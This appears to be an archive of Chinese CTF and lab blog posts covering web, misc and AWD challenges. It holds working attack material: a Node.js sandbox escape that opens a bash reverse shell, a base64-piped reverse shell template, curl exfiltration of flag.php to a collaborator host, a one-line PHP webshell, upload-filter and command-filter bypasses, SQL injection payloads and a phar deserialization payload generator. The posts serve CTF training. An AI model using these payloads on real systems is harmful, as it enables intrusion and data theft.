return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')

这里需要注意，Function环境下没有require函数，不能获得child_process模块，我们可以通过使用process.mainModule.constructor._load来代替require。并且，由于return并不能回显，只有执行的能力，因此一般会选择用curl外带或者直接反弹shell

js get传值特性

router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
console.log(req.url)
if(req.url.match(/8c|2c|\,/ig)){
res.end('111where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('222where is flag. :)');
}
});

在这段代码里，req.url会把传进来的值都过滤一遍。先来看看payload

[靶场笔记]第十七章

Fri, 31 May 2024 00:00:00 +0800

mid字符串指针控制

在sql注入时，如果最后dump flag的长度被限制，可以用mid函数控制输出指针，比如下面这句payload

-1%27/**/union/**/select/**/1,database(),mid(group_concat(id,flag),1,20)/**/from/**/test_db.flag%23

修改mid的值就行

phar反序化

这里存一段phar反序化的初始化代码（更多内容可以看这里）

<?php
class example {}
$o = new example();
@unlink("example.phar");//这行可有可无
$phar = new Phar("example.phar"); //后缀必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件
$phar->stopBuffering();//签名自动计算
?>

由于phar在存储时使用的是序列化后的数据，因此在使用phar://伪协议读取phar文件时会自动执行反序化函数，就能达到反序化的目的。并且phar文件是无所谓后缀的，只要数据流本质是压缩文件即可，可以随意更改为png等不易被waf干掉的后缀

补充一点，生成后的phar文件由meta-data、meta-data签名（默认是sha1，20字节）和签名格式（8字节）组成。如果碰到_wakeup魔术方法需要绕过，要改phar内容，就要对修改过的phar文件进行重新签名，否则会无法执行，下面是重新签名的示例

from hashlib import sha1
import gzip
file = open('phar.phar', 'rb').read()
#data = data.replace(b'3:{', b'4:{') #更换属性值，绕过__wakeup
data = file[:-28]#要签名的部分是文件头到meta-data的数据。
final = file[-8:]#签名格式
newfile = data+sha1(data).digest()+final
open('newpoc.phar', 'wb').write(newfile)
#生成新文件后如果还碰到__HALT_COMPILER();过滤，可以用gzip压缩使其消失
newf = gzip.compress(newfile)
with open(r'2.jpg', 'wb') as file: #更改文件后缀
file.write(newf)

自增绕过

2024 CISCN WP

Tue, 28 May 2024 00:00:00 +0800

simple_php

先看代码

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>

open_basedir限制了访问路径，但是对system等命令执行函数是无效的，因此先不管。

再来看一下escapeshellcmd

简单来说就是会对上述字符进行转义，引号会在成对的时候被ban掉

继续往下看正则，当时队友试出了几个能用的，其中包括ps -e，base32。后面看其他师傅的wp还有rev，paste等文件读取的指令，后面发现还可以用%0a绕过函数过滤，这里也记录学习一下。

不过试来试去都没发现flag，但是在/etc/passwd发现了个mysql

之前西湖论剑的经验让我第一反应是udf提取，但没法执行或者连接mysql，所以只能另寻他法。后面找到了个-e参数能够执行sql指令

结合上面没找到flag文件，因此猜测flag在数据库里。但是-e参数后面跟的内容是要带引号的，所以还是得找到来绕过引号的办法。而且只执行是不行的，还得把内容输出出来，这里就得再套一层echo和反引号，也就是

echo `mysql -uroot -proot -e 'show databases;'`;

想起来php还有个-r参数能不带引号执行指令

直接上

php -r eval($a=1;print_r($a));

在kali尝试是可以的，这里还得想办法往-r后面塞指令。既然绕过不行，那就编码，第一反应就是当时队友试出的base32，但是没找到php中有对应的函数可以解，于是就想到了16进制，可以把16进制编码后的指令用hex2bin解码，再把解码出来的东西给eval执行，到这步我们的payload就变成了

php -r eval(hex2bin(6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B));

执行后出现报错

分析原因是因为把数字开头的16进制当成数字型数据而不是字符串了，所以在最前面随便加个非数字的字符，用substr截断一下就行

php -r eval(hex2bin(substr(_6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B,1)));

可以读库了，后面就正常查表即可

easy_cms

和网上一些师傅的审计不太一样，我当时写出来是队友找到了这个接口

对于fuzz了半天没试出什么东西的我断定可控接口肯定只有这几个…..于是去搜索有哪些文件调用了这几个接口

在/dayrui/Fcms/Core/Helper.php找到下面这段

明显thumb和text可控，但还是不知道这里的thumb传入进去后在哪处理，后面才在/dayrui/Fcms/Control/Api/Api.php找到下面这段对thumb参数的解析

结合后来队友告诉我发现的dr_catcher_data函数存在curl调用

因此推断这里存在ssrf，去访问题目描述给出的flag.php

这里直接构造payload就是

?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=ls&text=100

但是这样打过去会发现并没有反应，因为没有回显的地方，因此这里只能用curl请求外带，起一个vps搭一个php服务，分别写1.php和2.php两个文件（记录一下队友教的php一句话简易服务：php -S 0.0.0.0:9999 -t . ）

2024 CISCN校内选拔赛WP

Sun, 12 May 2024 00:00:00 +0800

MISC

readme

方法1：

非常简单易懂的代码。直接过滤了flag.txt，以及相当于过滤了/proc/self/fd (更多关于/proc的内容看这里)

这里的奇技淫巧在于/dev/stdin、/dev/stdout、/dev/stderr，即标准输入、标准输出、标准错误与/proc/self/fd间的链接。我们可以在kali里尝试一下下面这句指令

ls -l /dev/stdin /dev/stdout /dev/stderr
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdout -> /proc/self/fd/1

在本地修改一下server.py，在with块中加上一个print(f.fileno())，起一个docker（因为给了docker-compose.yml，所以直接docker-compose up -d就行），nc连接本地起的服务后就能看到输出了一个数字，这个数字就是flag打开的fd，因此payload：/dev/stdin/../数值

方法2：

这种方法同样要起本地自己起docker，思路就是通过 proc 文件系统来尝试读取内存。如果没有 0x100 字节的限制的话就可以直接在 /proc/self/maps 中读取 flag.txt 的位置，然后再通过 /proc/self/map_files/… 进行读取。但实际上 maps 输出不到 flag.txt 的位置，所以就要想一些其他办法来得到它的地址。

可以在/proc/self下看到类似的内容。当然这是在本地起的docker中，去除掉了0x100的限制

/proc/self/map_files/558c0a022000-558c0a023000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a023000-558c0a024000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a024000-558c0a025000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a025000-558c0a026000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a026000-558c0a027000 /usr/local/bin/python3.11
/proc/self/map_files/7f9ee08ed000-7f9ee08ef000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08ef000-7f9ee08f1000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f1000-7f9ee08f3000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f3000-7f9ee08f4000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f4000-7f9ee08f5000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee0b5b000-7f9ee0b62000 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/proc/self/map_files/7f9ee0b62000-7f9ee0bb9000 /usr/lib/locale/C.utf8/LC_CTYPE
/proc/self/map_files/7f9ee0bbb000-7f9ee0bcb000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0bcb000-7f9ee0c3e000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c3e000-7f9ee0c98000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c98000-7f9ee0c99000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c99000-7f9ee0c9a000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c9a000-7f9ee0cc0000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0cc0000-7f9ee0e15000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e15000-7f9ee0e68000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e68000-7f9ee0e6c000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e6c000-7f9ee0e6e000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 /home/ctf/flag.txt
/proc/self/map_files/7f9ee0e7d000-7f9ee0f6b000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee0f6b000-7f9ee111f000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee111f000-7f9ee1202000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1202000-7f9ee1231000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1231000-7f9ee1362000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee13a7000-7f9ee13a8000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13a8000-7f9ee13cd000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13cd000-7f9ee13d7000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d7000-7f9ee13d9000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d9000-7f9ee13db000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 被连接到 flag.txt。
但是这个文件名似乎不是一个固定值，因此我们需要猜测这个文件名。通过搜索后发现它写在 /proc/self/maps 中，并且在 /proc/self/syscall 中找到了一个类似的地址。下面是在题目给的远程环境中的看到的

友谊赛WP

Mon, 29 Apr 2024 00:00:00 +0800

wp发布时服务器正在维护，可能无法打开平台，明天就能重新进入平台

MISC

维多利亚的秘密(作者：hayneschen)

两个附件，压缩包需要密码打不开，试试伪加密，行不通那就先放一边，找找图片有没有线索
拿到图片常规对图片进行 010 检查，找隐写，发现都没有
简介中说到 海盗们都喜欢把宝藏的钥匙藏在海底下~ 那就应该联想到图片下方还有内容没显示完全

图中 07 E0 代表 PNG 图像的长，02 90 代表 PNG 图像的高，那随便把高修改一下就能发现海底藏着一个二维码

扫描二维码发现文本开头是 data:image/png;base64
找到 base64 转图片

找到解压密码，解压后得到flag.txt和is_me!
flag 打开发现被骗了，真正的宝藏在is_me! 中
没有后缀怎么办，010 看看呗
PK 开头，妥妥的 zip，先改 zip 解压试试看，很顺利解压出来了

这内容一看就是 word 文档，不应该用 zip 解压，把文件改为.docx 后缀打开
移除表面的照片后全选文件改一下颜色就能发现一串二进制

把 0 用空格换掉得到

新型终端

一个wasm文件，可以自己从官方github项目上查手册搭一个，这里用wmctf曾出现过的题，套上去搭一个就行

base64 flag得到

H4sIAAAAAAAAA/MLDnYOcatOSTMyszAzstA1STIy0TUxTTLWTUpMMtc1MzexSEw1M0xMM0irBQAyahiTLAAAAA==

卫继龚的电动车

根据提示，短的为0，长度为1，得到：0111010010101010011000100

这道题是PT224X，地址位长度为20bit，后4位为数据位，因此截取前20位即可

flag为：xujc{01110100101010100110}

光线追踪

附件是个ELF，扔到IDA中，发现像是个迷宫题：

找到迷宫坐标数据将其提取出来，比较长这里就不贴了，每组坐标都是[x,y,z]的形式，如前三个是：


[105, 120, 30]
[75, 90, 30]
[135, 90, 30]

因为是三维坐标，所以肯定不是平面能看出来的，我们转战到3d软件中建模呈现坐标，我这里用的是unity。

AWD与ISW

Sat, 13 Apr 2024 00:00:00 +0800

AWD

西安交大的大佬给我们队现阶段打AWD的建议：别怕，很多人也没打过，在大家实力都差不多的时候，就是拼前期准备和**速度**

加固阶段防御

修改密码

1.改linux用户密码：

passwd

如果有权限就删除用户：

userdel -r [用户名]

2.改mysql密码：

update mysql.user set password=password('密码') where user='root';

删除匿名用户：

delete from mysql.user where user=' ';

刷新配置：

flush privileges;

3.改网站后台密码

登录mysql：

mysql -u root -p show databases；use test; show tables;

updata 表名 set 字段名 = ‘值’：

updata admin set user pass=’123456’;

刷新配置：

flush privileges;

dump源码

1.备份原代码

使用ssh工具保留源码，复制两份，用d盾去扫一份

注意：如果使用tar命令打包文件夹，.index.php（隐藏类型文件）将不会被打包，因此最好用ls -a检查一遍

或者使用scp命令

先将网站目录打包成tar

tar -cvf [打包后的文件名.tar] [要打包的文件名]

用ssh或ftp将打包文件拉到本地

ssh法:

scp 用户名@IP地址:要下载的文件路径 存放路径
如：scp root@192.168.16.8:/root/flag.txt /root/

ftp法：

ftp [IP地址]
get [文件名]
或者用ftp登入软件下载

2.备份数据库

mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
cd /var/lib/mysqlmysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份
mysqldump —all-databases > 1.sql //备份所有数据库

3.数据库还原

mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
cd /var/lib/mysqlmysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原

防御部署

先进行服务器检查：

[技术杂谈]vulnhub靶机网络配置问题

Mon, 08 Apr 2024 00:00:00 +0800

如果你在这篇博客中碰到任何不懂的名字，例如什么是dhcp，请联系我给你发一个队内培训用的家庭网络科普视频，这是学网络安全的必备常识，对熟悉自身网络环境与网络配置有很大帮助

一般来说，vulnhub靶机分成三类，一类是带桌面的ubuntu，这类机器一般都自适应虚拟机给的网卡名，会自己连上网络。如果不行就归到下面两种。

还有两种分别是ubuntu18以下和18及以上，这两者的主要区别就是网卡配置方式不同。如果是18以下，可以用这篇博客的方法解决。但切勿盲目配置网卡环境，如果不懂vmware提供的各类网络模式，请先学习各种不同网络模式，可以看这里

但如果你是18以上，那情况就不一样了。在解决18以下的那篇博客中写到，获取不到ip的主要原因是networking服务的配置文件有问题，dhcp网卡与正在使用的网卡名对不上，导致获取到的ip被丢到了黑洞。而18以上的网络管理服务并不是由networking提供的，而是一个叫netplan的东西，配置dhcp的方法可以看这里，简单来说就是下方dhcp配置文件中的内容与你ifconfig查看到正在使用的网卡并没有匹配的名字导致获取不到网络。

解决方法也很简单，使用这篇博客的方法进入到无密码root后，使用passwd root修改一下root用户的密码，再正常的进入到系统登陆界面，使用下面的指令更新netplan配置文件（记得先ifconfig看一下正在使用的网卡名）

cd /etc/netplan #进入netplan配置文件目录
vi 01-network-manager-all.yaml #如果没有这个文件，应该就是把01改成00，具体文件名是什么以你ls结果为准
#然后修改网卡为你ifconfig看到的名字
netplan apply #重新部署配置文件
systemctl restart system-networkd #最后再重启一下网络管理器

2024第三次线上赛wp

Sun, 07 Apr 2024 00:00:00 +0800

MISC

卫继龚的日常

将题目中的图片抠出来，放进谷歌，识别出是日本横滨北仲桥。

根据题意附近应该有JR地铁站，继续谷歌地图，发现附近有JR樱木町站。

根据题意，接着找附近的商店街。谷歌一下，附近有野毛小路商店街。

同时寻找日本知名的一元店，百度到了几个日本知名品牌。

如果你是这样做或是以类似思路做的，那么此时你的思路和寻找方向已经偏了。

最关键的原因，还是审题不完全。关键词：5分钟就能到地铁。仔细看题目图片，假设图片是在上下班路途上拍的，那么他必然要经过北仲桥。如果他是从家到地铁经过的北仲桥，那么他家附近的商店街应该在北仲桥附近，而野毛商店街的位置是相反方向。也就是说我应该去找北仲桥附近的商店街，但是找了一圈，没有发现很知名的商店街。

此时，假如北仲桥是在作者公司附近呢？樱木町站是作者公司附近的地铁站，因此题目图片中，加了一句：“只需要坐5分钟地铁”。

以樱木町站为起点，5分钟的车程，大致1-2站。继续谷歌，找到JR东日本的路线图。

根岸线樱木町站，5分钟车程，前后不会超过2站，分别是石川町、关内、横滨、东神奈川。

以这4个站，再结合谷歌出来的横滨知名商店街

继续谷歌地图

在横滨站附近寻找，一无所获

关内站附近发现伊势佐木町商店街。

依次谷歌日本知名的百元品牌，输入CanDo终于发现目标

使用谷歌街景

Project-X

题目给了一个 pcapng 的流量包文件，在分析前先来过一下Vmess协议下数据包加密过程（官方配置文档、通信协议文档）

假设有如下网络拓补

此时用户在配置好代理软件后使用vmess协议进行通信，在浏览器中使用google，发起了一个下面这样的数据包（1.1.1.1是用户ip，1145是用户发起请求端口）

为了方便画图，以上数据包所有内容都包含在请求包体中。此时数据包会被交给代理软件，vmess协议会在数据包前加上一个用来加密该数据包的加密方式

vmess允许用户自定义加密包体的方式，一般会在配置页面选择auto。这里我们假设使用AES-128-GCM加密，这样请求包体的内容就会被加密成无规则的字节流，被加密后包体就变成这样（遮挡部分表示被加密，后面使用的颜色不同表示加密方式不同）

接着会根据用户在配置文件中使用的用户id进行AES-128-CFB加密，将包体加密方式这部分也加密起来（下面是官方文档给的加密方式，看不懂也没事，只要知道会用一个特定的值与用户id进行加密运算，将这部分给搞糊）

并且会在前面加上当前时间戳与用户id的md5值作为一个验证值，此时整个数据包就是这个样子

最后拼接上代理服务器的ip地址与端口，就变成了这样

当数据包来到防火墙时，由于请求包体被完全加密，防火墙无法识别出用户意图，且代理服务器不在防火墙黑明单，于是就会放行数据包。代理服务器拿到数据包后，会先开一个大小为30～90左右的数组，对当前时间戳的+-30秒进行逐个的md5校验，当数据包中携带的校验值与数组中某个值匹配后，就会认定该数据包为有效数据包，于是对后面被加密的两个部分进行解密。解密后就重新拿到了下面这个数据包

接着再进行一层解密，就能得到我们的请求意图。这便是最原始的vmess协议通信过程。这里有一个配置信息我们没有说到，就是额外id。其实额外id的存在就是为了防止在同一时间段内发送大量数据包导致校验值重复，比如原本校验值是md5(11451)，当额外id为1时就有md5(11452)，以此类推。但这种验证方式也有局限性，在实际使用中已被发现存在被重放攻击的风险，具体可以看这篇，下面是官方文档对这一风险的应对手段

VMessMD5 被弃用的原因是因为它能够被很容易地通过主动探测的手段检测到，见上面提到的那篇 v2ray-core#2523。

简单来说就是使用AEAD认证的方式取代我们上述的md5验证值。这样即便防火墙试图修改被加密的数据包，被修改的数据包发送到代理服务器后也会被丢弃，就能避免重放攻击的风险。置方式也很简单，就是将额外id设置为0。而在最新版v2ray-core中，已经对vmess协议强制使用AEAD认证

介绍完vmess协议的通信原理后，再来看看赛题。这道题就是AEAD 的加密方式

用wireshark翻流量可以得到一个 v2ray 的 json 配置文件，也是从这里确定了是VMess流量分析

解密流量有两种方法，一种是通过阅读代码来自己实现解密，另一种是通过重放流量来获取明文。

关于协议的部分实现，可以参考 extra-VMessAEADdoc.zip 但是协议的最终实现还是需要参考 v2ray-core 的源码，因为有些地方的实现和文档中的描述不一致。

这里我们可以使用一个专门用来解析AEAD认证的库，并使用其编写一段exp

import uuid
from vmess_aead.encoding import VMessBodyEncoder
from vmess_aead.headers.request import VMessAEADRequestPacketHeader
from vmess_aead.utils.reader import BytesReader
data = "a49502ee07ffdd20f11597e961f7768b41be7bc32030107fc81f235f72ff1b294d074ade94281242412b4c19123b15250ac3d5ad9524df9acd0ee5f6dcca7b0c2849b2f4df20190dd084c01c3f6e2834dd87cb8e97fa178b2ec454755f89d9b735ae6dab9c7989cf4154f7eae53774d9d6cdb55d0a76fdaf21e08bae26e49cbb3c56d11a3fe540454bfbae06305460301caca4109df3335b0c3646b6e2d856a927f9298b87da3a7cf3cffcca6c27259fc055faa9f3155cc95f698bb37436008783b6cd03d38a8e109f78a48c860b600fcbe825cd6c6a5be2c95fce121df574c70fe62e4f24e28de5983db6c3c0192d72ec785b6d58c4b8301c4f70eab683"
data = bytes.fromhex(data)
reader = BytesReader(data)
user_id = uuid.UUID("f3a5cae3-6bd2-40d1-b13b-2cc3d87af2c7")
header = VMessAEADRequestPacketHeader.from_packet(reader, user_id)
print(header)
encoder = VMessBodyEncoder(
header.payload.body_key,
header.payload.body_iv,
header.payload.options,
header.payload.security,
header.payload.command,
)
body = encoder.decode_once(reader)
print(body)

2024第二次线上赛WP

Sat, 30 Mar 2024 00:00:00 +0800

MISC

GIF

简单的二维码，可以使用WPS把每帧分离保存，按顺序拼接，最后扫码获取flag

重生之我在嘉庚当黑客

flag格式改成xujc即可

洋葱二维码

code128、QR code、Maxicode、Aztec code、PDF417、汉信码之类的交替着试，二维码套娃。总之，用中国编码和https://demo.dynamsoft.com/barcode-reader/轮着试就行

SSL

HTTPS流量，给了sslkey.log

首先使用sslkey解密包内容，编辑>首选项>Protocols>TLS

过滤出GET请求的包

http.request.method==GET

这些包的URL中有个参数名是：kcahsni

取出这些包的kcahsni的值，数量不多，可以手工取出来，也可使用Tshark取出来

tshark -r capture.pcap -o 'ssl.keylog_file:sslkey.log' -Y 'http contains "GET /searchbyimage"' -T fields -e http.request.uri.query.parameter > outdata.txt

image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D82290383-7480-487c-b78b-77ac769c56cd%26kcahsni%3D9ef773fe97f56554a3b4,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De76528cd-17d3-490a-be20-2d817ccee04e%26kcahsni%3D1eaf89725ab93968fc52,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D491c01dd-f1a3-43c3-b3c8-30c4ab73ff4b%26kcahsni%3Df03c0a7d653539616433,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Deeed4c5d-8a5f-4b8c-a12d-a2ef007e09e2%26kcahsni%3D66333861303164636130,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Db69d43cd-ac86-4b20-acc6-6a441d94ae3e%26kcahsni%3D30663937353965366432,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De56bc952-42c2-4631-96ee-e2e7cac51406%26kcahsni%3D30353331373634326335,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dece42ab1-a9d1-44df-a0b5-6b7e83aa9cd0%26kcahsni%3D34323166636461643033,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D71ad1cf6-a31a-4694-812b-9ea5db6e3cad%26kcahsni%3D34656265373037376332,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D1b3c7025-b1a8-477f-9d16-89c254af258a%26kcahsni%3D62646464343732627b41,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D64ac599c-e5ac-43bc-a2e0-0447257cd5bc%26kcahsni%3D534e490b3295c3d06c24,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dd8af7f01-5b92-4ad3-8c80-c6af467eac30%26kcahsni%3Df2a8c7e8936667dbf7fe,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D01b77323-6be9-4abd-b427-9f09d992a4df%26kcahsni%3Dce28456a0fd24ac21ec6,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D3f3e4f2f-5d92-4d3a-8ce8-f11943b42df3%26kcahsni%3Da12e3efe4b,encoded_image=,image_content=,filename=,hl=fr

使用Python处理一下，最后结果需要逆序一下

#Written by: mochu7
import binascii
from urllib.parse import unquote
flag=b''
with open('./outdata.txt') as f:
for line in f.readlines():
line = unquote(line)
hexdata = line[line.find('kcahsni=')+8:line.find(',')]
hexstring = binascii.unhexlify(hexdata)
flag += hexstring
print(flag[::-1])

[靶场笔记]第十六章

Thu, 28 Mar 2024 00:00:00 +0800

base64反弹shell

这里记录一个之前很常用但都没记录过的典中典payload

echo YOUR_REVERSE_SHELL_PAYLOAD | base64 -d | bash

curl外带

偶尔会碰到能够执行但没有echo回显的情况，此时就可以用curl外带，例如

curl `命令`.域名

这里的域名到dnslog获取。此外，还可以通过curl主动向我们发送一个POST，并携带我们需要的内容，这里以Burp的Collaborator Client为例

curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net

-X指定发送一个POST请求，-F指定要发送的文件。xx是post包的参数，可以自定义。@是必须要带的，后面接文件名（也可以是绝对路径）

最短的一句话木马

如果上传处存在长度限制就可以用（非常极限的情况= =）

<?=`nc /*`;

常用图片文件头

如果找不到jpg和png的时候可以用

bmp文件 BM
gif文件 GIF

php后缀名绕过黑名单

pht, phpt, phtml, php3,php4,php5,php6

带数字的后缀不一定能用，就算版本对应，首选pht

ffifdyop

一段很神奇的字符串

短标签

当<?php被过滤时，可以使用诸如<?=、<% %>、<script language ="php">的短标签进行替代

联合查询

在使用联合查询时，最后一个符号可以使用闭合，不一定要注释

图片高宽设置

当在上传木马时，如果题目对图片高宽有要求，就可以使用

#define height 1
#define width 1

来设置图片高宽，且可以代替图片文件头（反而此时如果写了GIF89a，还会出现不让过的情况）

fast destruct

简单说明一下

也就是说，当出现下面这样的代码时

执行完反序化后析构函数并不会执行。这种情况下，要想让析构函数在反序化后就被执行，唯一的办法就是让序列化的内容产生错误，导致反序化报错，就会使对象被提前销毁，从而达到提前反序化结束的效果。可以看这篇博客

分号绕过

一直没记录的一种经典绕过方式，可以用在绝大部分被过滤的指令和字符串（仅限在shell中可用，php中不可用）

例如

/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i

要使用ls时，就可以用l’‘s替代

2024第一次线上赛WP

Sun, 24 Mar 2024 00:00:00 +0800

MISC

套娃生成器（🤯）

根据提示，在github上找到该项目

总共实现了以下几种娃：

dolls_registry = (
(Base16Doll, Base32Doll, Base64Doll, Base85Doll), # Base系列编码，随机选择一种
(RGBAImageBytesDoll,), # 字节编码成 RGBA 图片
(BitReverseDoll, ByteReverseDoll), # 位翻转和字节翻转
(WeakZipDoll,), # 弱密码ZIP
(QRCodeDoll,), # 字符串编码成二维码
(MostSignificantByteDoll, LeastSignificantByteDoll), # 隐写LSB/MSB
)

生成逻辑是上面每行的娃随机选择一个，然后打乱顺序递归生成结果。如果生成的结果超过当前娃的最大承载长度，就将这个娃和上一个娃交换位置，然后重新生成。（具体逻辑见 encode.py）

其中，QRCodeDoll 会生成一个二维码图片，由于二维码我没有找到可靠的办法来承载二进制，所以它实际上存储的是 Base64 编码的二进制数据。

另外，对于 RGBAImageBytesDoll、MostSignificantByteDoll 和 LeastSignificantByteDoll，由于存储的数据长度可能不足容量，所以存储的前四字节为大端序的数据长度。

此外，WeakZipDoll 生成的密码选择在五位数字的原因是因为这是在我的机器上 Python 多进程能在 60 秒内稳定破解的最长密码（有考虑过六位数字，但是不能稳定破解，可能需要写 C binding，感觉有点麻烦就放弃了）。

解题脚本见 solve.py，其中具体实现的逻辑是对于输入的特征选择尝试解码的娃，如果解码成功但是结果不清晰就递归解码，直到解码成功且结果清晰（或者持续解码但是直到低于最小可能长度仍然无法解码就失败）；如果解码失败就尝试下一个娃。

solve.py：

import re
import sys
from base64 import decodebytes
import pwn as p
from matryoshka.dolls.base import DollError, DollsBase
from matryoshka.dolls.multi_base import Base16Doll, Base32Doll, Base64Doll, Base85Doll
from matryoshka.dolls.qrcode_encode import QRCodeDoll
from matryoshka.dolls.reverse import BitReverseDoll, ByteReverseDoll
from matryoshka.dolls.rgb_bytes import RGBAImageBytesDoll
from matryoshka.dolls.significant_byte import (
LeastSignificantByteDoll,
MostSignificantByteDoll,
)
from matryoshka.dolls.weak_zip import WeakZipDoll
def decode(
data: bytes,
round: int = 1,
result_regex=rb"flag{.*?}",
accepted_dolls: tuple[type[DollsBase], ...] = (),
length_threshold: int = 10,
):
def prefixed_print(*args):
p.log.info(" ".join(["--" * round + ">", *map(str, args)]))
prefixed_print("entering round", round)
attempts: list[type[DollsBase]] = []
if data.startswith(b"PK"): # PK is the magic number for ZIP files
attempts.append(WeakZipDoll)
if data.startswith(b"\x89PNG"): # PNG magic number
attempts.append(RGBAImageBytesDoll)
attempts.append(LeastSignificantByteDoll)
attempts.append(MostSignificantByteDoll)
if data.isascii(): # ASCII
charset = {bytes([c]) for c in data}
